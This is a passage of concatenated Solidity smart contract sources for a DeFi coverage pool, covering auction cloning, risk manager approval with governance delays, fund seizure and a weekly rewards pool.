// velocityPoolDepletingRate always starts at 1.0 and then can go up
// depending on partial offer calls over auction life span to maintain
// the right ratio between the remaining auction time and the remaining
// portion of the collateral pool.
//slither-disable-next-line divide-before-multiply
uint256 velocityPoolDepletingRate = (CoveragePoolConstants
.FLOATING_POINT_DIVISOR * self.auctionLength) /
(self.auctionLength - self.startTimeOffset);
return
/* solhint-disable-next-line not-rely-on-time */
((block.timestamp - (self.startTime + self.startTimeOffset)) *
velocityPoolDepletingRate) / self.auctionLength;
}
function isAuctionOver() internal view returns (bool) {
/* solhint-disable-next-line not-rely-on-time */
return block.timestamp >= self.startTime + self.auctionLength;
}
function isMasterContract() internal view returns (bool) {
return masterContract == address(this);
}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "./Auction.sol";
import "./CoveragePool.sol";
import "@thesis/solidity-contracts/contracts/clone/CloneFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title Auctioneer
/// @notice Factory for the creation of new auction clones and receiving proceeds.
/// @dev We avoid redeployment of auction contracts by using the clone factory.
/// Proxy delegates calls to Auction and therefore does not affect auction state.
/// This means that we only need to deploy the auction contracts once.
/// The auctioneer provides clean state for every new auction clone.
contract Auctioneer is CloneFactory {
// Holds the address of the auction contract
// which will be used as a master contract for cloning.
address public immutable masterAuction;
mapping(address => bool) public openAuctions;
uint256 public openAuctionsCount;
CoveragePool public immutable coveragePool;
event AuctionCreated(
address indexed tokenAccepted,
uint256 amount,
address auctionAddress
);
event AuctionOfferTaken(
address indexed auction,
address indexed offerTaker,
address tokenAccepted,
uint256 amount,
uint256 portionToSeize // This amount should be divided by FLOATING_POINT_DIVISOR
);
event AuctionClosed(address indexed auction);
constructor(CoveragePool _coveragePool, address _masterAuction) {
coveragePool = _coveragePool;
// slither-disable-next-line missing-zero-check
masterAuction = _masterAuction;
}
/// @notice Informs the auctioneer to seize funds and log appropriate events
/// @dev This function is meant to be called from a cloned auction. It logs
/// "offer taken" and "auction closed" events, seizes funds, and cleans
/// up closed auctions.
/// @param offerTaker The address of the taker of the auction offer,
/// who will receive the pool's seized funds
/// @param tokenPaid The token this auction is denominated in
/// @param tokenAmountPaid The amount of the token the taker paid
/// @param portionToSeize The portion of the pool the taker won at auction.
/// This amount should be divided by FLOATING_POINT_DIVISOR
/// to calculate how much of the pool should be set
/// aside as the taker's winnings.
/// @param fullyFilled Indicates whether the auction was taken fully or
/// partially. If auction was fully filled, it is
/// closed. If auction was partially filled, it is
/// sill open and waiting for remaining bids.
function offerTaken(
address offerTaker,
IERC20 tokenPaid,
uint256 tokenAmountPaid,
uint256 portionToSeize,
bool fullyFilled
) external {
require(openAuctions[msg.sender], "Sender isn't an auction");
emit AuctionOfferTaken(
msg.sender,
offerTaker,
address(tokenPaid),
tokenAmountPaid,
portionToSeize
);
// actually seize funds, setting them aside for the taker to withdraw
// from the coverage pool.
// `portionToSeize` will be divided by FLOATING_POINT_DIVISOR which is
// defined in Auction.sol
//
//slither-disable-next-line reentrancy-no-eth,reentrancy-events,reentrancy-benign
coveragePool.seizeFunds(offerTaker, portionToSeize);
Auction auction = Auction(msg.sender);
if (fullyFilled) {
onAuctionFullyFilled(auction);
emit AuctionClosed(msg.sender);
delete openAuctions[msg.sender];
openAuctionsCount -= 1;
} else {
onAuctionPartiallyFilled(auction);
}
}
/// @notice Opens a new auction against the coverage pool. The auction
/// will remain open until filled.
/// @dev Calls `Auction.initialize` to initialize the instance.
/// @param tokenAccepted The token with which the auction can be taken
/// @param amountDesired The amount denominated in _tokenAccepted. After
/// this amount is received, the auction can close.
/// @param auctionLength The amount of time it takes for the auction to get
/// to 100% of all collateral on offer, in seconds.
function createAuction(
IERC20 tokenAccepted,
uint256 amountDesired,
uint256 auctionLength
) internal returns (address) {
address cloneAddress = createClone(masterAuction);
require(cloneAddress != address(0), "Cloned auction address is 0");
Auction auction = Auction(cloneAddress);
//slither-disable-next-line reentrancy-benign,reentrancy-events
auction.initialize(this, tokenAccepted, amountDesired, auctionLength);
openAuctions[cloneAddress] = true;
openAuctionsCount += 1;
emit AuctionCreated(
address(tokenAccepted),
amountDesired,
cloneAddress
);
return cloneAddress;
}
/// @notice Tears down an open auction with given address immediately.
/// @dev Can be called by contract owner to early close an auction if it
/// is no longer needed. Bear in mind that funds from the early closed
/// auction last on the auctioneer contract. Calling code should take
/// care of them.
/// @return Amount of funds transferred to this contract by the Auction
/// being early closed.
function earlyCloseAuction(Auction auction) internal returns (uint256) {
address auctionAddress = address(auction);
require(openAuctions[auctionAddress], "Address is not an open auction");
uint256 amountTransferred = auction.amountTransferred();
//slither-disable-next-line reentrancy-no-eth,reentrancy-events,reentrancy-benign
auction.earlyClose();
emit AuctionClosed(auctionAddress);
delete openAuctions[auctionAddress];
openAuctionsCount -= 1;
return amountTransferred;
}
/// @notice Auction lifecycle hook allowing to act on auction closed
/// as fully filled. This function is not executed when an auction
/// was partially filled. When this function is executed auction is
/// already closed and funds from the coverage pool are seized.
/// @dev Override this function to act on auction closed as fully filled.
function onAuctionFullyFilled(Auction auction) internal virtual {}
/// @notice Auction lifecycle hook allowing to act on auction partially
/// filled. This function is not executed when an auction
/// was fully filled.
/// @dev Override this function to act on auction partially filled.
function onAuctionPartiallyFilled(Auction auction) internal view virtual {}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "./interfaces/IAssetPoolUpgrade.sol";
import "./AssetPool.sol";
import "./CoveragePoolConstants.sol";
import "./GovernanceUtils.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title Coverage Pool
/// @notice A contract that manages a single asset pool. Handles approving and
/// unapproving of risk managers and allows them to seize funds from the
/// asset pool if they are approved.
/// @dev Coverage pool contract is owned by the governance. Coverage pool is the
/// owner of the asset pool contract.
contract CoveragePool is Ownable {
AssetPool public immutable assetPool;
IERC20 public immutable collateralToken;
bool public firstRiskManagerApproved = false;
// Currently approved risk managers
mapping(address => bool) public approvedRiskManagers;
// Timestamps of risk managers whose approvals have been initiated
mapping(address => uint256) public riskManagerApprovalTimestamps;
event RiskManagerApprovalStarted(address riskManager, uint256 timestamp);
event RiskManagerApprovalCompleted(address riskManager, uint256 timestamp);
event RiskManagerUnapproved(address riskManager, uint256 timestamp);
/// @notice Reverts if called by a risk manager that is not approved
modifier onlyApprovedRiskManager() {
require(approvedRiskManagers[msg.sender], "Risk manager not approved");
_;
}
constructor(AssetPool _assetPool) {
assetPool = _assetPool;
collateralToken = _assetPool.collateralToken();
}
/// @notice Approves the first risk manager
/// @dev Can be called only by the contract owner. Can be called only once.
/// Does not require any further calls to any functions.
/// @param riskManager Risk manager that will be approved
function approveFirstRiskManager(address riskManager) external onlyOwner {
require(
!firstRiskManagerApproved,
"The first risk manager was approved"
);
approvedRiskManagers[riskManager] = true;
firstRiskManagerApproved = true;
}
/// @notice Begins risk manager approval process.
/// @dev Can be called only by the contract owner and only when the first
/// risk manager is already approved. For a risk manager to be
/// approved, a call to `finalizeRiskManagerApproval` must follow
/// (after a governance delay).
/// @param riskManager Risk manager that will be approved
function beginRiskManagerApproval(address riskManager) external onlyOwner {
require(
firstRiskManagerApproved,
"The first risk manager is not yet approved; Please use "
"approveFirstRiskManager instead"
);
require(
!approvedRiskManagers[riskManager],
"Risk manager already approved"
);
/* solhint-disable-next-line not-rely-on-time */
riskManagerApprovalTimestamps[riskManager] = block.timestamp;
/* solhint-disable-next-line not-rely-on-time */
emit RiskManagerApprovalStarted(riskManager, block.timestamp);
}
/// @notice Finalizes risk manager approval process.
/// @dev Can be called only by the contract owner. Must be preceded with a
/// call to beginRiskManagerApproval and a governance delay must elapse.
/// @param riskManager Risk manager that will be approved
function finalizeRiskManagerApproval(address riskManager)
external
onlyOwner
{
require(
riskManagerApprovalTimestamps[riskManager] > 0,
"Risk manager approval not initiated"
);
require(
/* solhint-disable-next-line not-rely-on-time */
block.timestamp - riskManagerApprovalTimestamps[riskManager] >=
assetPool.withdrawalGovernanceDelay(),
"Risk manager governance delay has not elapsed"
);
approvedRiskManagers[riskManager] = true;
/* solhint-disable-next-line not-rely-on-time */
emit RiskManagerApprovalCompleted(riskManager, block.timestamp);
delete riskManagerApprovalTimestamps[riskManager];
}
/// @notice Unapproves an already approved risk manager or cancels the
/// approval process of a risk manager (the latter happens if called
/// between `beginRiskManagerApproval` and `finalizeRiskManagerApproval`).
/// The change takes effect immediately.
/// @dev Can be called only by the contract owner.
/// @param riskManager Risk manager that will be unapproved
function unapproveRiskManager(address riskManager) external onlyOwner {
require(
riskManagerApprovalTimestamps[riskManager] > 0 ||
approvedRiskManagers[riskManager],
"Risk manager is neither approved nor with a pending approval"
);
delete riskManagerApprovalTimestamps[riskManager];
delete approvedRiskManagers[riskManager];
/* solhint-disable-next-line not-rely-on-time */
emit RiskManagerUnapproved(riskManager, block.timestamp);
}
/// @notice Approves upgradeability to the new asset pool.
/// Allows governance to set a new asset pool so the underwriters
/// can move their collateral tokens to a new asset pool without
/// having to wait for the withdrawal delay.
/// @param _newAssetPool New asset pool
function approveNewAssetPoolUpgrade(IAssetPoolUpgrade _newAssetPool)
external
onlyOwner
{
assetPool.approveNewAssetPoolUpgrade(_newAssetPool);
}
/// @notice Lets the governance to begin an update of withdrawal delay
/// parameter value. Withdrawal delay is the time it takes the
/// underwriter to withdraw their collateral and rewards from the
/// pool. This is the time that needs to pass between initiating and
/// completing the withdrawal. The change needs to be finalized with
/// a call to finalizeWithdrawalDelayUpdate after the required
/// governance delay passes. It is up to the governance to
/// decide what the withdrawal delay value should be but it should
/// be long enough so that the possibility of having free-riding
/// underwriters escaping from a potential coverage claim by
/// withdrawing their positions from the pool is negligible.
/// @param newWithdrawalDelay The new value of withdrawal delay
function beginWithdrawalDelayUpdate(uint256 newWithdrawalDelay)
external
onlyOwner
{
assetPool.beginWithdrawalDelayUpdate(newWithdrawalDelay);
}
/// @notice Lets the governance to finalize an update of withdrawal
/// delay parameter value. This call has to be preceded with
/// a call to beginWithdrawalDelayUpdate and the governance delay
/// has to pass.
function finalizeWithdrawalDelayUpdate() external onlyOwner {
assetPool.finalizeWithdrawalDelayUpdate();
}
/// @notice Lets the governance to begin an update of withdrawal timeout
/// parameter value. The withdrawal timeout is the time the
/// underwriter has - after the withdrawal delay passed - to
/// complete the withdrawal. The change needs to be finalized with
/// a call to finalizeWithdrawalTimeoutUpdate after the required
/// governance delay passes. It is up to the governance to
/// decide what the withdrawal timeout value should be but it should
/// be short enough so that the time of free-riding by being able to
/// immediately escape from the claim is minimal and long enough so
/// that honest underwriters have a possibility to finalize the
/// withdrawal. It is all about the right proportions with
/// a relation to withdrawal delay value.
/// @param newWithdrawalTimeout The new value of the withdrawal timeout
function beginWithdrawalTimeoutUpdate(uint256 newWithdrawalTimeout)
external
onlyOwner
{
assetPool.beginWithdrawalTimeoutUpdate(newWithdrawalTimeout);
}
/// @notice Lets the governance to finalize an update of withdrawal
/// timeout parameter value. This call has to be preceded with
/// a call to beginWithdrawalTimeoutUpdate and the governance delay
/// has to pass.
function finalizeWithdrawalTimeoutUpdate() external onlyOwner {
assetPool.finalizeWithdrawalTimeoutUpdate();
}
/// @notice Seizes funds from the coverage pool and puts them aside for the
/// recipient to withdraw.
/// @dev `portionToSeize` value was multiplied by `FLOATING_POINT_DIVISOR`
/// for calculation precision purposes. Further calculations in this
/// function will need to take this divisor into account.
/// @param recipient Address that will receive the pool's seized funds
/// @param portionToSeize Portion of the pool to seize in the range (0, 1]
/// multiplied by `FLOATING_POINT_DIVISOR`
function seizeFunds(address recipient, uint256 portionToSeize)
external
onlyApprovedRiskManager
{
require(
portionToSeize > 0 &&
portionToSeize <= CoveragePoolConstants.FLOATING_POINT_DIVISOR,
"Portion to seize is not within the range (0, 1]"
);
assetPool.claim(recipient, amountToSeize(portionToSeize));
}
/// @notice Grants asset pool shares by minting a given amount of the
/// underwriter tokens for the recipient address. In result, the
/// recipient obtains part of the pool ownership without depositing
/// any collateral tokens. Shares are usually granted for notifiers
/// reporting about various contract state changes.
/// @dev Can be called only by an approved risk manager.
/// @param recipient Address of the underwriter tokens recipient
/// @param covAmount Amount of the underwriter tokens which should be minted
function grantAssetPoolShares(address recipient, uint256 covAmount)
external
onlyApprovedRiskManager
{
assetPool.grantShares(recipient, covAmount);
}
/// @notice Returns the time remaining until the risk manager approval
/// process can be finalized
/// @param riskManager Risk manager in the process of approval
/// @return Remaining time in seconds.
function getRemainingRiskManagerApprovalTime(address riskManager)
external
view
returns (uint256)
{
return
GovernanceUtils.getRemainingChangeTime(
riskManagerApprovalTimestamps[riskManager],
assetPool.withdrawalGovernanceDelay()
);
}
/// @notice Calculates amount of tokens to be seized from the coverage pool.
/// @param portionToSeize Portion of the pool to seize in the range (0, 1]
/// multiplied by FLOATING_POINT_DIVISOR
function amountToSeize(uint256 portionToSeize)
public
view
returns (uint256)
{
return
(collateralToken.balanceOf(address(assetPool)) * portionToSeize) /
CoveragePoolConstants.FLOATING_POINT_DIVISOR;
}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
library CoveragePoolConstants {
// This divisor is for precision purposes only. We use this divisor around
// auction related code to get the precise values without rounding it down
// when dealing with floating numbers.
uint256 public constant FLOATING_POINT_DIVISOR = 1e18;
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
library GovernanceUtils {
/// @notice Gets the time remaining until the governable parameter update
/// can be committed.
/// @param changeTimestamp Timestamp indicating the beginning of the change.
/// @param delay Governance delay.
/// @return Remaining time in seconds.
function getRemainingChangeTime(uint256 changeTimestamp, uint256 delay)
internal
view
returns (uint256)
{
require(changeTimestamp > 0, "Change not initiated");
/* solhint-disable-next-line not-rely-on-time */
uint256 elapsed = block.timestamp - changeTimestamp;
if (elapsed >= delay) {
return 0;
} else {
return delay - elapsed;
}
}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▀▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓▀▀▀▀ ▓▓▓▓▓▓▀▀▀▀ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▀
// ▓▓▓▓▓▓ ▀▓▓▓▓▓▓▄ ▐▓▓▓▓▓▓ ▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌
// ▓▓▓▓▓▓▓▓▓▓ █▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓
//
// Trust math, not hardware.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/// @title Rewards Pool
/// @notice RewardsPool accepts a single reward token and releases it to the
/// AssetPool over time in one week reward intervals. The owner of this
/// contract is the reward distribution address funding it with reward
/// tokens.
contract RewardsPool is Ownable {
using SafeERC20 for IERC20;
uint256 public constant DURATION = 7 days;
IERC20 public immutable rewardToken;
address public immutable assetPool;
// timestamp of the current reward interval end or the timestamp of the
// last interval end in case a new reward interval has not been allocated
uint256 public intervalFinish = 0;
// rate per second with which reward tokens are unlocked
uint256 public rewardRate = 0;
// amount of rewards accumulated and not yet withdrawn from the previous
// reward interval(s)
uint256 public rewardAccumulated = 0;
// the last time information in this contract was updated
uint256 public lastUpdateTime = 0;
event RewardToppedUp(uint256 amount);
event RewardWithdrawn(uint256 amount);
constructor(
IERC20 _rewardToken,
address _assetPool,
address owner
) {
rewardToken = _rewardToken;
// slither-disable-next-line missing-zero-check
assetPool = _assetPool;
transferOwnership(owner);
}
/// @notice Transfers the provided reward amount into RewardsPool and
/// creates a new, one-week reward interval starting from now.
/// Reward tokens from the previous reward interval that unlocked
/// over the time will be available for withdrawal immediately.
/// Reward tokens from the previous interval that has not been yet
/// unlocked, are added to the new interval being created.
/// @dev This function can be called only by the owner given that it creates
/// a new interval with one week length, starting from now.
function topUpReward(uint256 reward) external onlyOwner {
rewardAccumulated = earned();
/* solhint-disable not-rely-on-time */
if (block.timestamp >= intervalFinish) {
// see https://github.com/crytic/slither/issues/844
// slither-disable-next-line divide-before-multiply
rewardRate = reward / DURATION;
} else {
uint256 remaining = intervalFinish - block.timestamp;
uint256 leftover = remaining * rewardRate;
rewardRate = (reward + leftover) / DURATION;
}
intervalFinish = block.timestamp + DURATION;
lastUpdateTime = block.timestamp;
/* solhint-enable avoid-low-level-calls */
emit RewardToppedUp(reward);
rewardToken.safeTransferFrom(msg.sender, address(this), reward);
}
/// @notice Withdraws all unlocked reward tokens to the AssetPool.
function withdraw() external {
uint256 amount = earned();
rewardAccumulated = 0;
lastUpdateTime = lastTimeRewardApplicable();
emit RewardWithdrawn(amount);
rewardToken.safeTransfer(assetPool, amount);
}
/// @notice Returns the amount of earned and not yet withdrawn reward
/// tokens.
function earned() public view returns (uint256) {
return
rewardAccumulated +
((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate);
}
/// @notice Returns the timestamp at which a reward was last time applicable.
/// When reward interval is pending, returns current block's
/// timestamp. If the last reward interval ended and no other reward
/// interval had been allocated, returns the last reward interval's
/// end timestamp.
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, intervalFinish);
}
}
// ▓▓▌ ▓▓ ▐▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▄
// ▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▌▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
// ▓▓▓▓▓▓ ▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓ ▐▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
// ▓▓▓▓▓▓▄▄▓▓▓▓▓▓▓▀ ▐▓▓▓▓▓▓▄▄▄▄ ▓▓▓▓▓▓▄▄▄▄ ▐▓▓▓▓▓▌ ▐▓▓▓▓▓▓
